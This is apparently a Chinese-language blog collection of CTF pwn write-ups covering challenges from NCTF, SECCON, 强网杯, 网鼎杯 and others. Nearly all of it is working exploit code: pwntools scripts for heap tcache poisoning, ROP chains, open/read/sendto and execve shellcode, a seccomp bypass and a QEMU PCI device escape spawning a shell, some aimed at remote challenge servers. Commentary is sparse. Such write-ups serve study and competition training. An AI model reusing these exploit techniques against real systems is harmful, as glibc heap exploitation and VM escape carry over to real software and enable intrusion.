分类 默认分类 下的文章

NCTF 2024 - unauth-diary

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(p, '')
# io = connect('localhost', 9999)
io = connect('39.106.16.204', 46968)

def create(length: int, content: bytes):
    io.sendafter(b'> ', b'1\x00')
    io.sendafter(b'length:\n', itob(length) + b'\x00')
    io.sendafter(b'content:\n', content)

def erase(index: int):
    io.sendafter(b'> ', b'2\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def modify(index: int, content: bytes):
    io.sendafter(b'> ', b'3\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')
    io.sendafter(b'content:\n', content)

def show(index: int):
    io.sendafter(b'> ', b'4\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def exitit():
    io.sendafter(b'> ', b'5\x00')

create(0x17, b'\n')
create(0x17, b'\n')
erase(0)
erase(1)
create(0x17, b'\n')
create(0x17, b'\n')
show(0)
io.recvuntil(b'Content:\n')
heap_a = u64(io.recv(8))
show(1)
io.recvuntil(b'Content:\n')
heap_b = u64(io.recv(8))
heap_base = (heap_a ^ heap_b) - 0x200
success(f'heap_base: 0x{heap_base:x}')

create(0x500, b'\n')
create(0x1, b'\n')
erase(2)
create(0x500, b'\n')
show(2)
io.recvuntil(b'Content:\n')
libc.address = u64(io.recv(8)) - 0x203b00
success(f'libc_base: 0x{libc.address:x}')
modify(2, asm(f"""
    mov rax, 0x67616c662f2e
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rdi, rax
    mov rax, __NR_read
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 4
    syscall
""") + b'\n')

create(-1, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
erase(5)
erase(6)
modify(4, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x41) + cyclic(56) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x41) + p64((libc.sym['environ'] - 0x28) ^ (heap_base >> 12)) + b'\n')

create(0x37, b'\n')
create(0x37, b'\n')
show(6)
io.recvuntil(b'Content:\n')
io.recv(40)
stack_addr = u64(io.recv(8))
success(f'stack_addr: 0x{stack_addr:x}')

create(-1, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
erase(9)
erase(10)
modify(8, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x61) + cyclic(88) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x61) + p64((stack_addr - 552) ^ (heap_base >> 12)) + b'\n')

create(0x57, b'\n')
create(0x57, flat([
    0,
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_base,
    libc.address + 0x000000000002b46b,
    0x1000,
    stack_addr - 496,
    libc.address + 0x00000000000981ad,
    7,
    libc.sym['mprotect'],
    heap_base + 0x340
]) + b'\n')

io.sendafter(b'> ', b'5\x00')

io.interactive()

# NCTF{126952df-8ac9-479d-a2dd-6a2d7affae00}

SECCON 2024 - BabyQEMU(复现)

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

struct PCIBabyDevReg {
    off_t offset;
    uint32_t data;
};

#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)

static volatile char *baby_mmio = NULL;

static void set_offset(off_t offset) {
    *(volatile off_t *)&baby_mmio[MMIO_SET_OFFSET] = offset;
}

static void write_data32(off_t offset, uint32_t data) {
    set_offset(offset);
    *(volatile uint32_t *)&baby_mmio[MMIO_SET_DATA] = data;
}

static void write_data64(off_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)(data & 0xffffffff));
    write_data32(offset + sizeof(uint32_t), (uint32_t)(data >> 32));
}

static uint32_t read_data32(off_t offset) {
    set_offset(offset);
    return *(volatile uint32_t *)&baby_mmio[MMIO_GET_DATA];
}

static uint64_t read_data64(off_t offset) {
    return ((uint64_t)read_data32(offset)) +
           (((uint64_t)read_data32(offset + sizeof(uint32_t))) << 32);
}

int main(void) {
    int fd;

    fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (fd == -1) {
        perror("Failed to open resource file");
        return EXIT_FAILURE;
    }

    baby_mmio =
        (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (baby_mmio == MAP_FAILED) {
        perror("Failed to mmap MMIO region");
        close(fd);
        exit(EXIT_FAILURE);
    }

    uint64_t qemu_base = read_data64(0x170) - 8060784;
    printf("[*] qemu_base: 0x%lx\n", qemu_base);

    uint64_t buf_addr = read_data64(-8) - 5704;
    printf("[*] buf_addr: 0x%lx\n", buf_addr);

    uint64_t system_addr = read_data64(qemu_base + 26094904 - buf_addr);
    printf("[*] system_addr: 0x%lx\n", system_addr);

    write_data64(0x08, system_addr);
    write_data64(0x10, system_addr);
    write_data64(0x18, 0);
    write_data64(0x20, 0);
    write_data64(0x28, 2);
    write_data64(0x30, 0);
    write_data64(0x38, 0);
    write_data64(0x40, 0);
    write_data64(0x48, 0x400000001);
    write_data64(0x50, 0);

    write_data64(-3064, 'hs');
    write_data64(-200, buf_addr + 8);

    read_data64(0xdeadbeef); // PWN!

    munmap((void *)baby_mmio, 0x1000);
    close(fd);
    exit(EXIT_SUCCESS);
}

SUCTF 2025 - msg_cfgd

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
# context.log_level = 'debug'
binary = './ASU1'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def write_shellcode(io):
    shellcode = b'H1\xffH\x89\xee\x0f\x05\xff\xe6'
    io.sendlineafter(b': ', b'1')
    io.sendlineafter(b': ', b'100')
    io.sendafter(b': ', b'PwnRiK')
    io.sendafter(b': ', shellcode)

def to_attack(io):
    io.sendlineafter(b': ', b'8')
    io.sendlineafter(b':', b'7')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'U' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'I' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'O' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'P' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'H' * 8)
    io.sendafter('名称\n'.encode(), b'H' * 15)
    # io.sendafter('内容\n'.encode(), b'J' * 8 + b'\x00')
    io.sendafter('内容\n'.encode(), b'ff\x81\xc4\x06\x04\xff\xe4\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), p64(0x400F56))

i = 1
while True:
    print(i)
    i += 1
    io = connect('1.95.76.73', 10000)
    # io = process(binary)
    write_shellcode(io)
    to_attack(io)
    try:
        io.recvuntil(b'opportunity')
    except Exception:
        io.close()
        continue
    break

context.log_level='debug'
# gdb.attach(io)
io.send(b'FEFEFEFEFEFE')
io.sendafter(b'?\n', p64(0x00000000004035cb))
shellcode = f"""
mov rax, 0x67616c662f
push rax

mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""
io.send(asm(shellcode))
io.interactive()

强网杯 2024 - baby_heap

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './pwn'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
#  0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
#  0005: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0009
#  0006: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
#  0007: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0009
#  0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0009: 0x06 0x00 0x00 0x00000000  return KILL

# size == 1280(0x500) || size >= 1536(0x600)
def add(size: int):
    p.sendlineafter(b'choice: \n', b'1')
    p.sendlineafter(b'size \n', itob(size))

def delete(index: int):
    p.sendlineafter(b'choice: \n', b'2')
    p.sendlineafter(b'delete: \n', itob(index))

# 1 time
def edit(index: int, content: bytes):
    p.sendlineafter(b'choice: \n', b'3')
    p.sendlineafter(b'edit: \n', itob(index))
    p.sendafter(b'content \n', content)

# 1 time
def show(index: int):
    p.sendlineafter(b'choice: \n', b'4')
    p.sendlineafter(b'show: \n', itob(index))
    p.recvuntil(b'here \n')

def exp():
    add(0x618)
    add(0x1000)
    add(0x628)
    add(0x600)
    delete(3)
    add(0x638)
    delete(1)
    # pause()
    show(3)
    main_arena = u64(p.recvn(8))
    p.recvn(8)
    heap_addr = u64(p.recvn(8))
    heap_base = heap_addr - 0x2580 - 0xa00
    libc.address = main_arena - 2208080
    success(f'libc_base: 0x{libc.address:x}')
    success(f'heap_base: 0x{heap_base:x}')
    fake_linkmap_addr = heap_base + 8064

    shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x4000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
    """

    class link_map():
        DT_PLTGOT = 3
        DT_STRTAB = 5
        DT_SYMTAB = 6
        DT_FINI = 13
        DT_DEBUG = 21
        DT_JMPREL = 23
        DT_FINI_ARRAY = 26
        DT_FINI_ARRAYSZ = 28
        DT_VERNUM = 50

        def __init__(self, address: int = 0) -> None:
            self.address: int = address
        
        def l_addr(self):
            return self.address
        
        def l_info(self, tag):
            return self.address + 0x40 + 8 * tag
        
        def l_init_called(self):
            return self.address + 0x31c
        
    l = link_map(fake_linkmap_addr)
    rop = cyclic(14 * 8) + flat([
        libc.address + 0x5a120, # mov rsp, rdx; ret
        libc.address + 0x5a120 + 3, # ret

        libc.address + 0x2a3e5, # pop rdi; ret
        heap_base + 0x2000,
        libc.address + 0x2be51, # pop rsi; ret
        0x1000,
        libc.address + 0x11f2e7, # pop rdx; pop r12; ret
        7,
        0,
        libc.sym['mprotect'],
        heap_base + 9792
    ])

    l_next_offset = 0x600

    fake_linkmap = (flat({
        0x0: 0, # l_addr
        0x18: l.address + l_next_offset, # l_next
        0x28: l.address, # l_real
        #-------------------------- l_info --------------------------#
        0x40 + l.DT_FINI_ARRAY * 8: l.address + 0x40,
        0x40 + l.DT_FINI_ARRAYSZ * 8: l.address + 0x50,
        #-------------------------- Elf64_Dyn --------------------------#
        0x40: l.DT_FINI_ARRAY,
        0x48: l.address + 0x500,
        0x50: l.DT_FINI_ARRAYSZ,
        0x58: 0x10 * 8,
        0x31c: 0xff
    }, filler=b'\x00').ljust(0x500, b'\x00') + rop).ljust(l_next_offset, b'\x00')

    for i in range(4):
        fake_linkmap += flat({
            0x18: (l.address + l_next_offset + 0x30 * (i + 1)) if i != 3 else 0,
            0x28: l.address + l_next_offset + 0x30 * i
        }, filler=b'\x00')

    fake_linkmap += asm(shellcode)
    # print(hex(len(fake_linkmap)))
    edit(2, fake_linkmap)
    # p.interactive()
    p.sendlineafter(b'choice: \n', b'0')
    success('Data sent.')
    # p.interactive()
    # ld_libc_offset = int(input())
    ld_libc_offset = 0x254000
    p.sendafter(b'addr \n', p64(libc.address + ld_libc_offset + 0x3a040))
    p.send(p64(fake_linkmap_addr))
    p.sendlineafter(b'choice: \n', b'3')
    success('Done.')
    print(p.recvuntil(b'{'))
    p.interactive()

i = 0

while True:
    # p = connect('123.56.221.254', 34923)
    p = process(binary)
    # gdb.attach(p, 'set follow-fork-mode parent\nb _dl_fini\nb _dl_sort_maps')
    print(i)
    i += 1
    try:
        exp()
    except Exception:
        p.close()
        continue
    p.interactive()

强网杯 2024 决赛 - qvm

from pwn import *

context.terminal = ['konsole', '-e']

libc = ELF('./libc.so.6')
io = process('./pwn')
# io = connect('121.42.242.203', 9999)
gdb.attach(io)

LIBC_OFFSET = 0xf4300 - 1

def exp():
    shellcode = '''
    data binsh "/bin/sh"
    _start:
    cil {} 0
    mov {} 1
    sub 0 1
    mov 1 {}
    ods binsh
    EOF
    '''.format(
        0x19d7e0 - libc.symbols['system'],
        LIBC_OFFSET + 0x21a098 // 0x10,
        LIBC_OFFSET + 0x21a098 // 0x10,
    ).strip().encode()

    io.sendline(shellcode)

io.sendline("""
_start:
cil 10086 0
push 0
pop 0
pop 0
EOF
""")

io.interactive()

SCTF 2024 - factory

from pwn import *
from ctypes import *

context(os="linux", arch="amd64", terminal=["konsole", "-e"], log_level="debug")

binary = "./factory"
# p = process(binary)
p = remote('1.95.81.93', 57777)
e = ELF(binary)
libc = ELF('./libc.so.6')

# gdb.attach(p, "b *0x40148E")
# pause()

fake_rbp = 0x4040B0
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
leave = e.search(asm('leave; ret;')).__next__()
one_gadget = 0xe3b01


def sa(num, after):
    p.sendlineafter(after, str(num).encode())


sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(pop_rdi, '= ')
sa(e.got['puts'], '= ')
sa(e.plt['puts'], '= ')
sa(e.sym['main'], '= ')
for i in range(7):
    sa(0, '= ')
p.recvuntil(b'\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')

sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(one_gadget + libc_base, '= ')
for i in range(10):
    sa(0, '= ')


p.interactive()

网鼎杯 2024 - pwn004

#!/usr/bin/python

from pwn import *
from ctypes import *

def rc4_init(key: bytes, box_size: int = 256) -> list[int]:
    if type(key) == str:
        key = key.encode()
    s = list(range(box_size))
    j = 0
    key_length = len(key)

    # Key scheduling algorithm (KSA)
    for i in range(box_size):
        # permit key is empty.
        j = (j + s[i] + 0 if key_length == 0 else j + s[i] + key[i % key_length]) % box_size
        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

    return s

def rc4_crypt(s: bytes, data: bytes, box_size: int = 256) -> bytes:
    i, j = 0, 0
    result = bytearray()

    # Pseudo-random generation algorithm (PRGA)
    for k in range(len(data)):
        i = (i + 1) %  box_size
        j = (j + s[i]) % box_size

        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

        t = (s[i] + s[j]) % box_size
        result.append(data[k] ^ s[t])

    return bytes(result)

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './pwn'

p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6')

gdb.attach(p, "set follow-fork-mode parent")

i = 1
# while True:
#     p.sendlineafter(b':\n', b'\x00' + cyclic(i))
#     if b'correct' in p.recvuntil(b'!'):
#         break
#     pause()
#     i += 1
p.sendafter(b':\n', b'\n')
p.sendafter(b':\n', b'\n')


def add(index: int, size: int, content: bytes = b''):
    p.sendlineafter(b'> \n', b'1')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', str(size).encode())
    p.sendlineafter(b': \n', content)

def show(index: int) -> bytes:
    p.sendlineafter(b'> \n', b'2')
    p.sendlineafter(b': \n', str(index).encode())
    p.recvuntil(b',')
    p.recvuntil(b',')
    content = p.recvuntil(b']', drop=True)
    s = rc4_init(b's4cur1ty_p4ssw0rd')
    return rc4_crypt(s, content)

def delete(index: int):
    p.sendlineafter(b'> \n', b'3')
    p.sendlineafter(b': \n', str(index).encode())

def edit(index: int, content: bytes):
    p.sendlineafter(b'> \n', b'4')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', content)

add(0, 0x40)
delete(0)
delete(0)
heap_base = (((u64(show(0)[0:8]) >> 12) - 1) << 12)
success(hex(heap_base))
delete(0)
add(1, 0x80)
add(1, 0x300)
add(2, 0x300)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
libc.address = u64(show(1)[0:8]) - 4111520
success(hex(libc.address))

s = rc4_init(b's4cur1ty_p4ssw0rd')
edit(0, rc4_crypt(s, p64(libc.address + 4118760).ljust(0x30, b'\x00')))
add(2, 0x40)
s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x40, rc4_crypt(s, p64(libc.address + 336005).ljust(0x30, b'\x00')))

s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x200, rc4_crypt(s, cyclic(0x200))) # 假栈底在这个堆块
add(1, 0x200, cyclic(0xa0) + p64(heap_base + 5744) + p64(libc.search(asm('ret')).__next__()))
delete(1)

p.interactive()

RCTF 2024 - mine

from pwn import*
context.log_level = 'debug'

io = remote('123.60.161.30', 10088)
# io = process('./run.sh')

io.sendline(b'A'*0x10)
io.sendline(b'0 0 U')
io.sendline(b'1\n1\n1')

for i in range(16*15):
    io.recvuntil(b']:')
    io.sendline(b'y a')
io.recvuntil(b']:')
io.sendline(b'y \xb0')
io.recvuntil(b']:')
io.sendline(b'y \x14')
io.recvuntil(b']:')
io.sendline(b'y \x01')
io.recvuntil(b']:')
io.sendline(b'y \x00')
for i in range(4):
    io.recvuntil(b']:')
    io.sendline(b'y b')
for i in range(8):
    io.recvuntil(b']:')
    io.sendline(b'y B')

io.interactive()

羊城杯 2024 - pstack

from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug')

binary = './pwn'
p = connect('139.155.126.78', 33760)
libc = ELF('./libc.so.6')

# gdb.attach(p)
# pause()

puts_addr = 0x400520
puts_got_addr = 0x600FC8
vuln_addr = 0x4006B0
pop_rdi = 0x400773
leave = 0x4006db
fake_stack = 0x3FE2C0
pop_rbp = 0x4005b0
fake_stack2 = 0x3fe300

p.sendafter(b'?\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4))
p.sendafter(b'?\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vuln_addr + 4) + p64(0) + p64(fake_stack) + p64(leave))

puts = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base_addr = puts - libc.sym['puts']
print(hex(libc_base_addr))

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__()
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__()
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__()
execve = libc_base_addr + libc.symbols['execve']
pop_r12_r13 = libc_base_addr + 0x41c48
one_gadget = libc_base_addr + 0xebce2

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

p.sendafter(b'?\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadget) + p64(execve) + p64(fake_stack2) + p64(leave))

p.interactive()

Pwn - Ottoshop♿

​ 在 main 函数里看到,输入 666 可以获得一次购买 golden ♿ 的机会。注意到设置 ♿ 名字的 scanf 存在溢出。 scanf 读取数字时,输入 +- 即可跳过一次输入(因为不知道这回事卡了好久 😭),这样可以绕过 canary 保护,修改返回地址劫持控制流。buy 函数和 change 函数中都未检查负数 index,可以向上任意写。在一堆 otto 函数(雾)中发现后门函数 o77oOtTo0T70()(由于直接用 syscall 而非封装函数,所以从 got 表看不出端倪),其检查 flag2 值是否为 otto 并从 flag1 中异或出 /bin/sh\0 并执行 execve。所以只需要用 buy 修改 flag2(index = -72)、money(index = -90),用 golden 劫持控制流至后门函数即可。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']

binary = 'ottoshop'
p = process(binary)
elf = ELF(binary)

address = 0x04020A4
need_to_be_666 = 0x407580
start = 0x407180
flag2 = 0x407060
money = 0x407018

pos1 = (flag2 - start) // 4
pos2 = (money - start) // 4

p.sendline(b'666')
p.sendline(b'')

p.sendline(b'1')
p.sendline(b'-72')
p.send(b'otto')

p.sendline(b'1')
p.sendline(b'-90')
p.send(b'abcd')

p.sendline(b'3')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'+')
p.sendline(b'0')
p.sendline(b'4202660')
p.interactive()

Pwn - game

​ 游戏是数字华容道。发现上下移动不会检查边界,可以修改返回地址。程序中存在后门函数 backdoor()。一开始的思路是利用栈中残余固定的值拼凑出一个 backdoor 的地址。但是调试起来十分麻烦,所以用 Python 重写了游戏,可视化手动玩,自动生成脚本,大幅减轻负担。

import numpy

input_str = '''
0x7ffc0836c080: 0x00007ffc0836c090      0x0000598b0000000a
0x7ffc0836c090: 0x010a08090204050b      0x000d070f0e060c03
0x7ffc0836c0a0: 0x00007ffc0836c1f8      0x15445e0a74b74c00
0x7ffc0836c0b0: 0x00007ffc0836c0e0      0x0000598b817dcf48
0x7ffc0836c0c0: 0xdcdcd8d8dcd8dcd8      0x0000769a5ce75400
'''
print()

def flat(eles):
    res = []
    for i in eles:
        if isinstance(i, list):
            res.extend(flat(i))
        else:
            res.append(i)
    return res

data = flat([([i.split(':')[1].strip().split('      ')[0].replace('0x', '')] + [i.split(':')[1].strip().split('      ')[1].replace('0x', '')]) for i in input_str.strip().split('\n')])

tiles = []

for addr in data:
    temp = []
    while len(addr) != 0:
        temp.append(addr[0:2])
        addr = addr[2:]
    tiles.extend(temp[::-1])

tiles_np = numpy.array(tiles).reshape(len(tiles) // 4, 4)
tiles = tiles_np.tolist()

# 一些提示符
tiles[7][2] = 'YY'
tiles[7][3] = 'XX'
tiles[10][3] = '||'
tiles[11][3] = '||'
tiles[14][0] = '-0'
tiles[14][1] = '-1'
tiles[14][2] = 'EE'
tiles[14][3] = 'FF'
tiles[15][0] = 'AA'
tiles[15][1] = 'BB'
tiles[15][2] = 'CC'
tiles[15][3] = 'DD'

moves = []

class Point:
    x: int
    y: int

p = Point()
p.x = 3
p.y = 7

def up():
    moves.append('up')
    tiles[p.y][p.x], tiles[p.y - 1][p.x] = tiles[p.y - 1][p.x], tiles[p.y][p.x]
    p.y -= 1

def down():
    moves.append('down')
    tiles[p.y][p.x], tiles[p.y + 1][p.x] = tiles[p.y + 1][p.x], tiles[p.y][p.x]
    p.y += 1

def left():
    moves.append('left')
    tiles[p.y][p.x], tiles[p.y][p.x - 1] = tiles[p.y][p.x - 1], tiles[p.y][p.x]
    p.x -= 1

def right():
    moves.append('right')
    tiles[p.y][p.x], tiles[p.y][p.x + 1] = tiles[p.y][p.x + 1], tiles[p.y][p.x]
    p.x += 1
   
moves = []

while True:
    print(numpy.array(tiles))
    move = input('> ')
    match move:
        case 'w':
            up()
        case 'a':
            left()
        case 's':
            down()
        case 'd':
            right()
        case 'e':
            break
        case _:
            print('Invalid')
            
for move in moves:
    print(move + '(1)')

​ 好不容易拼凑出地址(由于开了 PIE 保护,所以需要爆破 1/16 概率),发现由于栈对齐,system 函数调用出现 SIGSEGV(😇)。在栈上合理范围内实在找不到可以拼凑出 backdoor + 1 等地址的值。然后,然后,然后突然发现程序开头我一直无视的 name,其实可以输入一个地址(还是经验少了 😫)。

Exp:

from pwn import *
import time

context.terminal = ['konsole', '-e']

binary = 'game'
p = process(binary)
elf = ELF(binary)

backdoor = 0xCD8
ret_ori = 0xF48

SLEEP = 0.001

def up(times: int):
    for _ in range(times):
        p.send(b'w')
        time.sleep(SLEEP)

def down(times: int):
    for _ in range(times):
        p.send(b's')
        time.sleep(SLEEP)

def left(times: int):
    for _ in range(times):
        p.send(b'a')
        time.sleep(SLEEP)

def right(times: int):
    for _ in range(times):
        p.send(b'd')
        time.sleep(SLEEP)

while True:
    binary = 'game'
    p = process(binary)
    p.sendline(p64(0xDCDCD8D8DCD8DCD8))
    p.sendline(b'')
    p.sendline(b'')

    left(3)
    up(5)
    right(1)
    down(5)
    right(2)

    # 自动生成
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    down(1)
    left(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    right(1)
    up(1)
    up(1)
    left(1)
    left(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    up(1)
    left(1)
    down(1)
    down(1)
    left(1)
    up(1)
    right(1)
    down(1)
    down(1)
    right(1)
    right(1)
    up(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    down(1)
    left(1)
    up(1)
    up(1)
    right(1)
    down(1)
    left(1)
    up(1)
    right(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)
    up(1)

    for i in range(93):
        left(1)
        right(1)
    
    try:
        p.sendline(b'')
        p.sendline(b'')
        p.sendline(b'')
        p.interactive()
    except EOFError:
        continue

Reverse - Long long call

​ (Pwn 暂时做不出来,跑去隔壁逆向看看 🤓。)IDA 打开后发现反编译完全没意义了。程序中每个汇编语句都用一个调用、一个抵消调用栈的 add rsp, 0x8,一对无意义 pushf popf 混淆,用 gdb 调试发现存在反调试,通过查找文本 Hacker 定位到反调试触发点,用 Keypatch 将其填 nop0x14AF0x14B3)拿下反调试,然后就可以愉快调试了。逆向发现 0x4080 处存储了混淆后的 flag,程序逻辑是对输入字符串每两字符对其和分别原地求异或,并与同样加密后的 flag 比较。取出加密后 flag,编写 Python 脚本爆破得原始 flag。

def crack(A, B):
    for a in range(0,255):
        for b in range(0,255):
            if ((a^(a+b)) == A) and (b^(a+b) == B):
                print(f"{chr(a)}{chr(b)}", end="")

data = [[0xBB, 0xBF], [0xB9, 0xBE], [0xC3, 0xCC], [0xCE, 0xDC], [0x9E, 0x8F], [0x9D, 0x9B], [0xA7, 0x8C], [0xD7, 0x95], [0xB0, 0xAD], [0xBD, 0xB4], [0x88, 0xAF], [0x92, 0xD0], [0xCF, 0xA1], [0xA3, 0x92], [0xB7, 0xB4], [0xC9, 0x9E], [0x94, 0xA7], [0xAE, 0xF0], [0xA1, 0x99], [0xC0, 0xE3], [0xB4, 0xB4], [0xBF, 0xE3]]

for d in data:
    crack(d[0], d[1])

Pwn - PhoneBook

​ 收获最多的一集,综合复习/学习了各种堆利用方法。

​ (后附图)

0x00 Leak Heap Ptr

​ 分析程序,保护开满,增删改查堆题。发现 phone 字段存在三字节溢出,可以修改其后的 next 字段以达成任意分配堆地址,得到任意读任意写机会。通过构造两个假 chunk(offset:0x10、0x20,id:50、51),以其作为桥梁泄漏堆地址。定义 person 结构体助记:

00000000 person          struc ; (sizeof=0x28, mappedto_8)
00000000 id              dq ?
00000008 name            db 16 dup(?)            ; string(C)
00000018 phone           db 8 dup(?)             ; string(C)
00000020 next            dq ?                    ; offset
00000028 person          ends

Exp 0:

add(b'\n', b'\n')
add(b'456\n', b'\n')
edit(1, b'\n', b'A'*9) # 连通后方 next_ptr
show()
rec = p.recv()
pos = rec.index(b'A'*9)
chunk2_addr = u64(b'\0' + rec[pos+9: pos+14] + b'\0\0')
chunk1_addr = chunk2_addr - 0x30
chunk3_addr = chunk2_addr + 0x30
fake_chunk0_addr = chunk2_addr + 0x10
fake_chunk1_addr = chunk2_addr + 0x20
print('fake chunk0: ' + hex(fake_chunk0_addr))
print('fake chunk1: ' + hex(fake_chunk1_addr))
print('chunk2: ' + hex(chunk2_addr))

(chunk 地址必须 0x10 对齐,否则 free 时出错。)

0x01 Unsorted Bin Leak Libc

​ 再次以 chunk1 为引导,fake_chunk0chunk2 为桥梁在 fake_chunk1 处构造假 unsorted bin 大小(0x840)的 chunk,并加上 PREV_INUSE 标志(0x1),其 size 位于原 person 结构体的 phone 处,连续填充多个 phone 字段为 0x31 的 chunk(偷懒不想算精确位置),以绕过 unsorted bin prev chunk size 检查。最后 delete fake_chunk1进入 unsorted bin,其 bk 字段(原 fake_chunk1 name)已被修改为 libc 上 main_arena 地址,用 show 获取得 libc 基址。需要注意绕过 id 大小检查(与 next 冲突)和 add 填零(所以这块很绕 😀)。

Exp 1:

edit(1, b'\n', cyclic(8) + p64(chunk2_addr)[0:2]) # 暂时恢复
for i in range(50): # 冗余
    add(b'\n', p64(0x31))
    p.recv()
edit(3, cyclic(8) + p64(chunk3_addr), b'\n')
edit(2, p64(49) + p64(50)[0:7], p64(0x841) + p64(fake_chunk0_addr)[0:2])
edit(50, p64(0x841) + p64(51)[0:7], cyclic(8) + p64(fake_chunk1_addr)[0:2])
edit(1, b'\n', cyclic(8) + p64(fake_chunk1_addr)[0:2])
delete(51) # VULN
